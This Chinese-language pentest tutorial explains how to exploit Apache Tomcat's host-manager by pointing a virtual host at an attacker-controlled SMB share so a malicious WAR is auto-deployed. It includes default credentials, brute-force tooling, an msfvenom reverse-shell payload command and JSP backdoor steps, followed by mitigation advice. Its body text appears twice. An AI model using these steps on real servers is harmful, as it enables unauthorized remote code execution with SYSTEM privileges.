Tomcat变体利用:host-manager
字数 1293 2025-08-26 22:11:14

Tomcat host-manager 漏洞利用教学文档

1. 漏洞概述

本教学文档详细介绍了如何利用Tomcat的host-manager功能进行渗透攻击,当传统的manager应用无法访问时,host-manager可能成为突破口。

1.1 漏洞背景

  • 目标环境:Windows 2012R2服务器
  • Tomcat版本:8.5.37(漏洞也存在于<=7.0.92和<=8.5.37版本)
  • 默认权限:Tomcat在Windows上以"nt authority\system"权限运行
  • 特殊场景:manager应用返回403,但host-manager可访问

2. 信息收集

2.1 端口扫描

使用nmap扫描目标主机,识别Tomcat服务:

nmap -sV -p 8080 192.168.56.31

2.2 默认凭据尝试

尝试常见默认凭据组合:

  • admin/admin
  • tomcat/tomcat

3. 认证绕过

3.1 爆破工具

当默认凭据无效时,可使用以下工具进行爆破:

  1. Metasploit模块:
    use auxiliary/scanner/http/tomcat_mgr_login
    
  2. Hydra
  3. Nikto
  4. 自定义脚本(注意Tomcat 7.0+有登录次数限制)

4. host-manager利用

4.1 漏洞原理

host-manager允许创建、删除和管理Tomcat中的虚拟主机。通过创建指向攻击者控制的SMB服务器的UNC路径,可以远程部署恶意WAR文件。

4.2 攻击步骤

4.2.1 准备SMB服务器

使用impacket工具包中的smbserver.py搭建SMB共享:

smbserver.py share /path/to/malicious/folder

4.2.2 创建恶意WAR文件

方法一:手动创建

  1. 创建一个包含JSP后门的ZIP文件
  2. 将后缀改为.war

方法二:使用msfvenom自动生成

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

4.2.3 部署恶意应用

  1. 通过host-manager界面创建指向SMB共享的虚拟主机
  2. Tomcat会自动从UNC路径部署应用(autoDeploy功能)

4.2.4 访问后门

  1. 在/etc/hosts中添加目标服务器IP与虚拟主机名的映射
  2. 通过浏览器访问部署的JSP后门执行系统命令

5. 攻击验证

5.1 部署前检查

查看Tomcat应用列表确认初始状态

5.2 部署过程监控

观察SMB服务器日志,确认Tomcat连接并下载WAR文件

5.3 后门验证

通过浏览器访问后门URL,执行系统命令验证权限

6. 防御措施

6.1 安全配置

  1. 修改默认凭据
  2. 限制host-manager和manager的访问IP
  3. 禁用autoDeploy功能

6.2 权限控制

  1. 不以system权限运行Tomcat
  2. 使用专用账户并限制权限

6.3 网络防护

  1. 阻止服务器出站SMB连接
  2. 监控异常文件部署行为

7. 受影响版本

  • Tomcat <= 7.0.92
  • Tomcat <= 8.5.37

8. 参考链接

  • 原文链接:https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/
  • Tomcat文档:http://tomcat.apache.org/tomcat-7.0-doc/host-manager-howto.html
Tomcat host-manager 漏洞利用教学文档 1. 漏洞概述 本教学文档详细介绍了如何利用Tomcat的host-manager功能进行渗透攻击,当传统的manager应用无法访问时,host-manager可能成为突破口。 1.1 漏洞背景 目标环境:Windows 2012R2服务器 Tomcat版本:8.5.37(漏洞也存在于<=7.0.92和 <=8.5.37版本) 默认权限:Tomcat在Windows上以"nt authority\system"权限运行 特殊场景:manager应用返回403,但host-manager可访问 2. 信息收集 2.1 端口扫描 使用nmap扫描目标主机,识别Tomcat服务: 2.2 默认凭据尝试 尝试常见默认凭据组合: admin/admin tomcat/tomcat 3. 认证绕过 3.1 爆破工具 当默认凭据无效时,可使用以下工具进行爆破: Metasploit模块: Hydra Nikto 自定义脚本(注意Tomcat 7.0+有登录次数限制) 4. host-manager利用 4.1 漏洞原理 host-manager允许创建、删除和管理Tomcat中的虚拟主机。通过创建指向攻击者控制的SMB服务器的UNC路径,可以远程部署恶意WAR文件。 4.2 攻击步骤 4.2.1 准备SMB服务器 使用impacket工具包中的smbserver.py搭建SMB共享: 4.2.2 创建恶意WAR文件 方法一:手动创建 创建一个包含JSP后门的ZIP文件 将后缀改为.war 方法二:使用msfvenom自动生成 4.2.3 部署恶意应用 通过host-manager界面创建指向SMB共享的虚拟主机 Tomcat会自动从UNC路径部署应用(autoDeploy功能) 4.2.4 访问后门 在/etc/hosts中添加目标服务器IP与虚拟主机名的映射 通过浏览器访问部署的JSP后门执行系统命令 5. 攻击验证 5.1 部署前检查 查看Tomcat应用列表确认初始状态 5.2 部署过程监控 观察SMB服务器日志,确认Tomcat连接并下载WAR文件 5.3 后门验证 通过浏览器访问后门URL,执行系统命令验证权限 6. 防御措施 6.1 安全配置 修改默认凭据 限制host-manager和manager的访问IP 禁用autoDeploy功能 6.2 权限控制 不以system权限运行Tomcat 使用专用账户并限制权限 6.3 网络防护 阻止服务器出站SMB连接 监控异常文件部署行为 7. 受影响版本 Tomcat <= 7.0.92 Tomcat <= 8.5.37 8. 参考链接 原文链接:https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/ Tomcat文档:http://tomcat.apache.org/tomcat-7.0-doc/host-manager-howto.html